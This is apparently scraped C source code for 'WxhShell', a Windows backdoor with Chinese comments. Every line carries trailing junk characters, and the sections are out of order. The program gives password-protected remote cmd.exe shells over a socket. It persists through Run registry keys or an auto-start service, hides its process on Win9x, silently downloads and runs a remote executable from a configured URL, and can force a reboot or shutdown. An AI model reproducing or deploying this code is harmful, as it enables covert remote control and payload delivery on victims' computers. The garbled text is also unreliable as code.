    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >cjxu9Vr1K  
    if(Boot(SHUTDOWN)) m,hqq%qz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (W"0c?i|]  
    else { `_/1zL[  
    closesocket(wsh); _"D J|j  
    ExitThread(0); }Gb^%1%M  
    } ()8=U_BFz  
    break; NE`;=26c  
    } tjV63`LD  
  // 获取shell v@2?X4n  
  case 's': { He4q-\ht  
    CmdShell(wsh); S9[Up}`  
    closesocket(wsh); ?5Z-w  
    ExitThread(0); HW_2!t_R  
    break; _{^F8  
  } -KbO[b\V  
  // 退出 8Dxg6>  
  case 'x': { ( Ygy%O%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *3RD\.jPX  
    CloseIt(wsh); liB~vdqj  
    break; ^cW{%R>XY  
    } =$~x]  
  // 离开 xzMpTZQ  
  case 'q': { 2.j0pg .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;CL^2{  
    closesocket(wsh); 8zeD%Uv  
    WSACleanup(); V#1v5mWVx  
    exit(1); : +^`VLIf  
    break; 26_PFHQu4  
        } ;$!0pxL)s  
  } MD1d  
  } R. ryy  
P:'y}a-  
  // 提示信息 <;b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7~MWp4.   
} ByWad@-6i  
  } tx3p, X  
;F,6]LH!  
  return; -jTK3&5  
} >i1wB!gc8  
A}pe>ja   
// shell模块句柄  q _;#EV  
int CmdShell(SOCKET sock) 8BS$6Pa  
{ :/Y4I)'  
STARTUPINFO si; =5pwNi_S  
ZeroMemory(&si,sizeof(si)); )d {8Cu6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y'6P ~C;v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u4=ulgi  
PROCESS_INFORMATION ProcessInfo; ;rCCkA6  
char cmdline[]="cmd"; V^9%+L+E5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~te{9/   
  return 0; /oM&29 jy  
} ~fgS"F^7n  
,tBc%&.f  
// 自身启动模式 +x:VIi  
int StartFromService(void) k8.,id  
{ OnW,R3eg  
typedef struct 5oD%~Fk l  
{ P!~&Ei  
  DWORD ExitStatus; 2)^T[zHe  
  DWORD PebBaseAddress; giddM2'  
  DWORD AffinityMask; OJcI0(G  
  DWORD BasePriority; g;3<oI/P  
  ULONG UniqueProcessId; &19z|Id  
  ULONG InheritedFromUniqueProcessId; ON_G D"  
}   PROCESS_BASIC_INFORMATION; ]=0D~3o3  
+w3k_^X9c  
PROCNTQSIP NtQueryInformationProcess; x4_FG{AIu  
7 Uu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9JC8OSjJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !.{{QwZ  
i6h0_q8 >  
  HANDLE             hProcess; CBx5:}t  
  PROCESS_BASIC_INFORMATION pbi; ?=Z0N&}[  
H&ZsMML/%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '&xRb*  
  if(NULL == hInst ) return 0; ZcN%F)htm  
O >&,h^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WgV[,(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +7)/SQM5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^yF2xJ)9-  
f=MR.\  
  if (!NtQueryInformationProcess) return 0; /0F <GBQ"v  
vi.q]$ohbV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z?_5fte`  
  if(!hProcess) return 0; .Wci@5:3  
kObgoMT<[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b9Ix*!Y  
5adB5)`  
  CloseHandle(hProcess); 1Yv#4t  
[SLBA_d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I03 45Hc  
if(hProcess==NULL) return 0; [Hp"a^~r|  
G|]39/OO3{  
HMODULE hMod; F a'2i<  
char procName[255]; Uw_z9ZL  
unsigned long cbNeeded; <~qhy{hRn  
9_S>G$9D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |a Ht6F  
W r;?t!  
  CloseHandle(hProcess); p>]2o\["  
&5wM`  
if(strstr(procName,"services")) return 1; // 以服务启动 R_DZJV O  
fL1EQ)  
  return 0; // 注册表启动 ze%)fZI0f  
} HV6'0_R0  
]O;Rzq{D(  
// 主模块 )%5T*}j  
int StartWxhshell(LPSTR lpCmdLine) s*pgR=dZZ  
{ "Q@ZS2;A  
  SOCKET wsl; !tD,phca~  
BOOL val=TRUE; {YgB?kt5  
  int port=0; }h)[>I(  
  struct sockaddr_in door; bQM_rqjJGw  
| [lM2  
  if(wscfg.ws_autoins) Install(); ddD $ 4+  
Z)zmT%t  
port=atoi(lpCmdLine); [P_1a`b  
KI Ua  
if(port<=0) port=wscfg.ws_port; wKAc ;!  
(Sg52zv  
  WSADATA data; ^E8eW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~\m|pxcj  
NLxsxomj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q:B:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @v,qfT*k7  
  door.sin_family = AF_INET; MoP 0qNk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M9b_Q  
  door.sin_port = htons(port); :3Z"Qk$uR  
fOyLBixR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aTy&"  
closesocket(wsl); f&ym'S  
return 1; !>+Na~eN  
} J5Tl62}  
=r:-CRq(  
  if(listen(wsl,2) == INVALID_SOCKET) { cy6 P=k *  
closesocket(wsl); ou@ P#:<B  
return 1; z_J"Qk  
} k iCg+@nT  
  Wxhshell(wsl); \/9uS.Kw  
  WSACleanup(); ~T[m{8uh  
AcYL3  
return 0; v(t?d  
MW+]w~7_Q  
} b|*A%?m  
|3MqAvPJ  
// 以NT服务方式启动 i.Qy0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m+Yj"RMx&  
{ g.N~81A  
DWORD   status = 0; \TrhJ  
  DWORD   specificError = 0xfffffff; ~WJEH#  
@BN cIJk9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q<b;xx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (k..ll p~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {^bs }($J  
  serviceStatus.dwWin32ExitCode     = 0; +'x`rk  
  serviceStatus.dwServiceSpecificExitCode = 0; xla9:*pPn  
  serviceStatus.dwCheckPoint       = 0; M+ gYKPP  
  serviceStatus.dwWaitHint       = 0; 'qhA4W9  
}cE,&n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /tf}8d  
  if (hServiceStatusHandle==0) return; ,g$N  
ET`;TfqM  
status = GetLastError(); xXu/CGzG  
  if (status!=NO_ERROR) s Hu~;)  
{ 4PEJ}B W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7oDr`=q1]r  
    serviceStatus.dwCheckPoint       = 0; dt  4_x1  
    serviceStatus.dwWaitHint       = 0; xF_ Y7rw1w  
    serviceStatus.dwWin32ExitCode     = status; -)aBS3  
    serviceStatus.dwServiceSpecificExitCode = specificError; rK2*DuE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 65Ysg}x  
    return; lfKrd3KS_  
  } Dg@>d0FW  
c]W]m`:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \+g95|[/  
  serviceStatus.dwCheckPoint       = 0; C``%<)WC  
  serviceStatus.dwWaitHint       = 0; @qH<4`y.^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c)M_&?J!5  
} -~ `5kO~  
xS,#TU;)Ol  
// 处理NT服务事件,比如:启动、停止 GjA;o3(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @M"h_Z1#  
{ kG+CT  
switch(fdwControl) c|Nv^V*2  
{ d3(T=9;f2  
case SERVICE_CONTROL_STOP: x 1$tS#lS  
  serviceStatus.dwWin32ExitCode = 0; mD)_quz.sk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oZ@_o3VG  
  serviceStatus.dwCheckPoint   = 0; 0bpl3Fh.v  
  serviceStatus.dwWaitHint     = 0; Db= iJ68  
  { ZSMOq4Y 9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %u43Pj  
  } >"S'R9t  
  return; `{/z\  
case SERVICE_CONTROL_PAUSE: LeY\{w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HT5G HkT  
  break; ])a?ri  
case SERVICE_CONTROL_CONTINUE: ab' f:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V2'(}k  
  break; #T n~hnW  
case SERVICE_CONTROL_INTERROGATE: ^c^9kK'  
  break; VzMoWD;  
}; t}`|\*a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]`y4n=L.  
} !o&Mw:d  
`yHV10  
// 标准应用程序主函数 (9$/r/-a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +tOBt("5/  
{ s%J|r{F6  
abCcZ<=|b  
// 获取操作系统版本 ?4_^}B9  
OsIsNt=GetOsVer(); |jaUVE_2[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &|26x >  
U\ y?P:yy  
  // 从命令行安装 Om{[ <tL  
  if(strpbrk(lpCmdLine,"iI")) Install(); >NW /0'/  
M\8FjJ>9  
  // 下载执行文件 3`k 1  
if(wscfg.ws_downexe) { ho@f}4jhQ3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ALwkX"AN  
  WinExec(wscfg.ws_filenam,SW_HIDE); *n2Q_o  
} yI bz\3  
M0x5s@  
if(!OsIsNt) { o 1#XM/Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 bUp%87<*X  
HideProc(); FcsEv {#U  
StartWxhshell(lpCmdLine); Ab-S*| B  
} * "ER8\  
else PT|^RF%fT  
  if(StartFromService()) P~i^V;g  
  // 以服务方式启动 >RBq&'f  
  StartServiceCtrlDispatcher(DispatchTable); OcMd'fwO  
else -(qoz8H5  
  // 普通方式启动 b2H!{a"  
  StartWxhshell(lpCmdLine); jfS?#;T)  
i,FG?\x@  
return 0; <2ffcBv  
} lyIstfRh15  
_$wWKJy9  
Nj.(iBmr  
&m4 \"X@  
=========================================== M,t8<y4 W/  
23y7l=.b/  
djPr 4Nog  
v (=fV/  
rNqJL_!  
nV McHN   
" HQaKG4Z  
[lQp4xgxi  
#include <stdio.h> ~5`rv1$  
#include <string.h> g 6>R yjN  
#include <windows.h> }`IN5NdYp  
#include <winsock2.h> ,<|EoravH  
#include <winsvc.h> )dJM  
#include <urlmon.h> Nt&}T  
]NuY{T&:  
#pragma comment (lib, "Ws2_32.lib") FI*.2rdSR  
#pragma comment (lib, "urlmon.lib") \"_;rJ{!aE  
RXt`y62yK  
#define MAX_USER   100 // 最大客户端连接数 } ~=53$+  
#define BUF_SOCK   200 // sock buffer \Q*3/_}G  
#define KEY_BUFF   255 // 输入 buffer ]BP/KCjAI<  
3oxQ[.o  
#define REBOOT     0   // 重启 X5qU>'?`  
#define SHUTDOWN   1   // 关机 wv ,F>5P  
A T+|}B!  
#define DEF_PORT   5000 // 监听端口 ZGzrh`j{-  
}9:\#  
#define REG_LEN     16   // 注册表键长度 }&rf'E9  
#define SVC_LEN     80   // NT服务名长度 fbwo2qe@K  
Q2^}NQO=  
// 从dll定义API M$%aX,nk'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vjZX8KAiZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EiP_V&\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b\][ x6zJp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _7]5 Q  
E7^tU416  
// wxhshell配置信息 idPkJf/  
struct WSCFG { i{T0[\4  
  int ws_port;         // 监听端口 2*Z~J M  
  char ws_passstr[REG_LEN]; // 口令 P) ^K&7X  
  int ws_autoins;       // 安装标记, 1=yes 0=no -G;4['p  
  char ws_regname[REG_LEN]; // 注册表键名 6O$OM  
  char ws_svcname[REG_LEN]; // 服务名 MrLDe {^C2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y$Js5K@F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @a>+r1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ECg/ge2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N~\1yQT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A<9ZX=DAjw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YANg2L>MK  
z:RwCd1\  
}; M)I&^mm39  
\KLWOj%  
// default Wxhshell configuration kd|@.  
struct WSCFG wscfg={DEF_PORT, xlgN}M  
    "xuhuanlingzhe", &{x5 |$SD  
    1, 4zpprh+`K  
    "Wxhshell", d|j3E  
    "Wxhshell", 26 o68U8&y  
            "WxhShell Service", ` B : Ydf  
    "Wrsky Windows CmdShell Service", twNZ^=SGr  
    "Please Input Your Password: ", D>?%p"e  
  1, lp!@uoN^T  
  "http://www.wrsky.com/wxhshell.exe", 7,j}]  
  "Wxhshell.exe" 1reJ7b0  
    }; ut& RKr3  
jf*M}Q1jHE  
// 消息定义模块 zg)Z2?K|;u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G5"UhnOD'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e]uk}#4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U,[vfSDGr  
char *msg_ws_ext="\n\rExit."; ztgSd8GGE  
char *msg_ws_end="\n\rQuit."; yFl@ z  
char *msg_ws_boot="\n\rReboot..."; /]F3t]FlC  
char *msg_ws_poff="\n\rShutdown..."; Rw^4S@~T  
char *msg_ws_down="\n\rSave to "; '2uQ  
`-]*Qb+  
char *msg_ws_err="\n\rErr!"; f@[q# }6  
char *msg_ws_ok="\n\rOK!"; =6ZZ/+6b  
>Ah [uM  
char ExeFile[MAX_PATH]; Eae]s8ek9  
int nUser = 0; ysGK5kFz  
HANDLE handles[MAX_USER]; 3PpycJ}  
int OsIsNt; -zN*2T  
QI=",vma u  
SERVICE_STATUS       serviceStatus; oSx]wZZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $khWu>b  
oq^#mJL  
// 函数声明 /XS}<!)%  
int Install(void); P3on4c  
int Uninstall(void); Rl.3p<sX  
int DownloadFile(char *sURL, SOCKET wsh); E2LpQNvN%g  
int Boot(int flag); <[8at6;  
void HideProc(void); ?bmP<(N5/  
int GetOsVer(void); T.`EDluG  
int Wxhshell(SOCKET wsl); Pqo"~&Y|~  
void TalkWithClient(void *cs); c:>&Bg&,6T  
int CmdShell(SOCKET sock); lDCoYX_  
int StartFromService(void); LUHj3H  
int StartWxhshell(LPSTR lpCmdLine); =>)l6**UE  
hG uRV|`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HB||'gIC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \P^WUWY  
p#qQGJe  
// 数据结构和表定义 #=OKY@z/  
SERVICE_TABLE_ENTRY DispatchTable[] = :nC Gqg  
{ xl5mI~n_~  
{wscfg.ws_svcname, NTServiceMain}, |@sUN:G4k  
{NULL, NULL} L'H'E,  
}; 52C>f6w  
`rbTB3?  
// 自我安装 7xO =:*  
int Install(void) VI74{='=  
{ :JV= Kt  
  char svExeFile[MAX_PATH]; *q=pv8&*s  
  HKEY key; |k^'}n  
  strcpy(svExeFile,ExeFile); =v:vc~G6  
ht (RX  
// 如果是win9x系统,修改注册表设为自启动 *_!nil3(i  
if(!OsIsNt) { pTprU)sa7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [_G_Wl'#8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aiF7\^aw$  
  RegCloseKey(key); -ce N}Cb3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Quu_S_ vH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i,8h B(M!  
  RegCloseKey(key); ; "ux{ .  
  return 0; =;l .<{<VH  
    } A Ns.`S  
  } 4fT,/[k?  
} 3 i Id>  
else { Z[)t34EY"  
$k,Z)2  
// 如果是NT以上系统,安装为系统服务 |j^^ *z@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~-.}]N+([  
if (schSCManager!=0) t:eZ`6o$T\  
{ I+ rHb< P%  
  SC_HANDLE schService = CreateService 2RFYnDN  
  ( ylUxK{  
  schSCManager, fFMGpibkM  
  wscfg.ws_svcname, -Ds}kdxw  
  wscfg.ws_svcdisp, ['~3"lK^O  
  SERVICE_ALL_ACCESS, =kp #v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B: \\aOEj  
  SERVICE_AUTO_START, Pv17wUB  
  SERVICE_ERROR_NORMAL, ?T3zA2  
  svExeFile, ^ r-F@$:.  
  NULL, !trt]?*-  
  NULL, TD'RvTpl  
  NULL, *T-+Pm-Cq  
  NULL, FIL?nkYEO  
  NULL (0/,R  
  ); 5z~rl}`v  
  if (schService!=0) Iojyku\W.  
  { IDQ@h`"B  
  CloseServiceHandle(schService); x{6KsYEY  
  CloseServiceHandle(schSCManager); d&BocJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qsOA(+ZP  
  strcat(svExeFile,wscfg.ws_svcname); JR8 b[Oj.S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wN>k&J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k |k  
  RegCloseKey(key); [CL.Xil=  
  return 0; EiQX* v  
    } 9utiev~3  
  } ![h+ R@_(  
  CloseServiceHandle(schSCManager); {;4Y5kj  
} )e(Rf!P{  
} UbNA|`H  
9^6E> S{=  
return 1; QkS~~|0EI>  
} &_Ze@Ir-  
3=5K7 F  
// 自我卸载 ZJ}9g(X..g  
int Uninstall(void) S96H`kedZo  
{ mFfw*,M  
  HKEY key; o=}}hE\H  
BgRfy2:  
if(!OsIsNt) { $&& mGD;?K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {; #u~e(W  
  RegDeleteValue(key,wscfg.ws_regname); H=Scrvfx  
  RegCloseKey(key); }{T9`^V:h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )hs"P%Zg  
  RegDeleteValue(key,wscfg.ws_regname); ;\ ^'}S|3Z  
  RegCloseKey(key); Dk8 O*B   
  return 0; eG&\b-%  
  } d3-F?i 5d  
} *`2.WF@E)  
} t5t,(^;f  
else { I,TJV)B  
,cZhkXd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y)#x(s?t  
if (schSCManager!=0) R % [ZQ K  
{ ~A@T_ *0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _&V%idz!0  
  if (schService!=0) &.XlXihnt  
  { yHhx- `  
  if(DeleteService(schService)!=0) { 8=QOp[w   
  CloseServiceHandle(schService); /kV3[Rw+  
  CloseServiceHandle(schSCManager); z"#iG&>a,  
  return 0; 2-!OflkoM0  
  } Z/-9G  
  CloseServiceHandle(schService); mApn[)?tv  
  } Tzr_K  
  CloseServiceHandle(schSCManager); p7et>;WRx  
} =1Nz* c  
} MDV<[${   
e_RLKFv7  
return 1; DrI"YX  
} nhV\<  
Vw-,G7v&E  
// 从指定url下载文件 ,LI$=lJ@  
int DownloadFile(char *sURL, SOCKET wsh) Z|3 fhaT  
{ [v47_ 5O  
  HRESULT hr; q^!_jMN5  
char seps[]= "/"; SnIH6k0T_  
char *token; f>*T0"\c  
char *file; #b~B 0:U  
char myURL[MAX_PATH]; kN7 J Z12  
char myFILE[MAX_PATH]; _y>mmE   
SeuC7!q{  
strcpy(myURL,sURL); ~8 >Tb  
  token=strtok(myURL,seps); :j(e+A1@  
  while(token!=NULL) R[_Q}W'HG  
  { jfmHc(fX4  
    file=token; C,;T/9  
  token=strtok(NULL,seps); zT<fTFJ1  
  } I=aoP}_  
6/-]  
GetCurrentDirectory(MAX_PATH,myFILE); (rKyX:Vsy  
strcat(myFILE, "\\"); {!RDb'Zp  
strcat(myFILE, file); f3yH4r?;w  
  send(wsh,myFILE,strlen(myFILE),0); F/pq9  
send(wsh,"...",3,0); U ?iw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #jrtsv]  
  if(hr==S_OK) E_q/*}]pE  
return 0; v C23  
else u<L<o 2  
return 1; Sg%h}]~   
wnioIpRkh  
} KA $jG{ yq  
-VZn`6%s  
// 系统电源模块 DWv(|gO  
int Boot(int flag) Lql2ry$Wa  
{ ^aG$9N<\  
  HANDLE hToken; e p jb  
  TOKEN_PRIVILEGES tkp; } 6 ,m2u  
n[S-bzU^t  
  if(OsIsNt) { \;XDPC j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VSx9aVPkC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q};n%&n&  
    tkp.PrivilegeCount = 1; fe!eZiE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '/OcJVSR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @h&:xA56  
if(flag==REBOOT) { epicY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }b5omHUE%  
  return 0; y^!>'cdV  
} YD3jP}Ym  
else { QhhL_vP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GB%kxtGD;\  
  return 0; ,NO2{Ha$  
} q t(+X  
  } Hs:0j$  
  else { 1d$qr`  
if(flag==REBOOT) { t1JU_P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sX@}4[)<&  
  return 0; (k^% j  
} &Fiesi!tET  
else { W [*Go  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4,,DA2^!  
  return 0; %p48=|+  
} H(hE;|q/  
} i:a*6b.U@N  
zif&;)wV/  
return 1; c"O4=[N: ;  
} [psZc'q  
dhX$b!DA  
// win9x进程隐藏模块 S j ly]  
void HideProc(void) [vGkr" =  
{ O~Jm<  
u^O!5 'D%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &4O2uEW0  
  if ( hKernel != NULL ) YpOcLxFL  
  { 5cvvdO*C0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +\doF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |(%=zb=?X  
    FreeLibrary(hKernel); tk)J E^'  
  } xTU;rJV  
yk0tA  
return; pG6?"*Fz;  
} |oWl9j]Z  
>'lvZt  
// 获取操作系统版本 xfF;u9$;  
int GetOsVer(void) tj? %{L  
{ pCf9"LLer  
  OSVERSIONINFO winfo; "ejsz&n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )3 I~6ar  
  GetVersionEx(&winfo); ?8w5tfN6t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `h|Y0x  
  return 1; cP",szcY  
  else /Rf,Rjs  
  return 0; (@1>G ^%  
} CnpQdI  
fsl ZJE  
// 客户端句柄模块 ~.tl7wKkR/  
int Wxhshell(SOCKET wsl) ^e]O-,UBk  
{ 0HO'%'Ga*  
  SOCKET wsh; csd9[=HW/Q  
  struct sockaddr_in client; x8xz33  
  DWORD myID; <NEz{1Z  
85f:!p  
  while(nUser<MAX_USER) LOgFi%!6:  
{ !kG|BJ$j  
  int nSize=sizeof(client); naro  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }S$OE))u  
  if(wsh==INVALID_SOCKET) return 1; dB)-qL8,2  
7K HQ0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \@Gcx}Y8h  
if(handles[nUser]==0) MK-+[K  
  closesocket(wsh); !|W.YbS  
else eslvg#Q  
  nUser++; ]v/pMg#-  
  } NQGa=kXeJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4ClSl#X#i  
C2aA])7 D  
  return 0; nQOzKw<j%  
} TI}a$I*  
3RX9LJGX  
// 关闭 socket ;PB_ @Zg  
void CloseIt(SOCKET wsh) \11+~  
{ M&jlUr&l  
closesocket(wsh); {!j)j6(NY  
nUser--; L PS,\+  
ExitThread(0);  &1f3e  
} v}J0j  
fP[S.7F+No  
// 客户端请求句柄 F [Lg,}  
void TalkWithClient(void *cs) 1 0zw}1x  
{ K^6d_b&  
(Hmm^MV)  
  SOCKET wsh=(SOCKET)cs; gAh#H ?MM  
  char pwd[SVC_LEN]; {{Qbu }/@  
  char cmd[KEY_BUFF]; jJaMkF;f  
char chr[1]; bsm/y+R  
int i,j; P:_bF>r ?  
fLpWTkr0  
  while (nUser < MAX_USER) { F @<h:VVP  
SA#01}&p  
if(wscfg.ws_passstr) { obGhO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mr2Mu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k+%&dEE|vH  
  //ZeroMemory(pwd,KEY_BUFF); ?(U a+*b  
      i=0; 73 4t  
  while(i<SVC_LEN) { RH:vd|q+  
<@# g2b  
  // 设置超时 Y]=k"]:%  
  fd_set FdRead; oB%_yy+  
  struct timeval TimeOut; &qK:LHhj  
  FD_ZERO(&FdRead); : h(Z\D_  
  FD_SET(wsh,&FdRead); F\hVunPVx  
  TimeOut.tv_sec=8; 6yBd9=3K  
  TimeOut.tv_usec=0; Z ^}[CQ&Am  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pH2/." zE<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }a/z.&x]V  
'Hzc"<2Y\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6uv~.-T<l  
  pwd=chr[0]; z(8G=C  
  if(chr[0]==0xd || chr[0]==0xa) { piH0_7qr  
  pwd=0; Q)y5'u qZ  
  break; MD*dq  
  } m?; ?I]`  
  i++; sYo&@~T  
    } 7AS_Aw1L  
1hlU 6 =Y  
  // 如果是非法用户,关闭 socket MRw4?HqB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?:M4GY" gV  
} :h |]j[2p  
|V4<eF-0S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $.t>* Bq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mBJr*_p  
D)pTE?@W'  
while(1) { >_xuXEslUz  
YF-A8gXS  
  ZeroMemory(cmd,KEY_BUFF); dC8}Ttc}  
*`|xa@1v`  
      // 自动支持客户端 telnet标准   3u/AqL  
  j=0;  \m~p;B  
  while(j<KEY_BUFF) { *sZH3:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6-uLK'E  
  cmd[j]=chr[0]; -)B_o#2=2  
  if(chr[0]==0xa || chr[0]==0xd) { gwsIzYV  
  cmd[j]=0; .j&#  
  break; Qclq^|O0  
  } Y8^ WuN$  
  j++; _G-y{D_S&  
    } Rj H68=n  
dWQB1Y*N  
  // 下载文件 K9.Gjw  
  if(strstr(cmd,"http://")) { '.;{"G.@'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _~MX~M3MB  
  if(DownloadFile(cmd,wsh)) |IV7g*J89  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cc*R3vHM6  
  else \'<P~I&p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y3o3G  
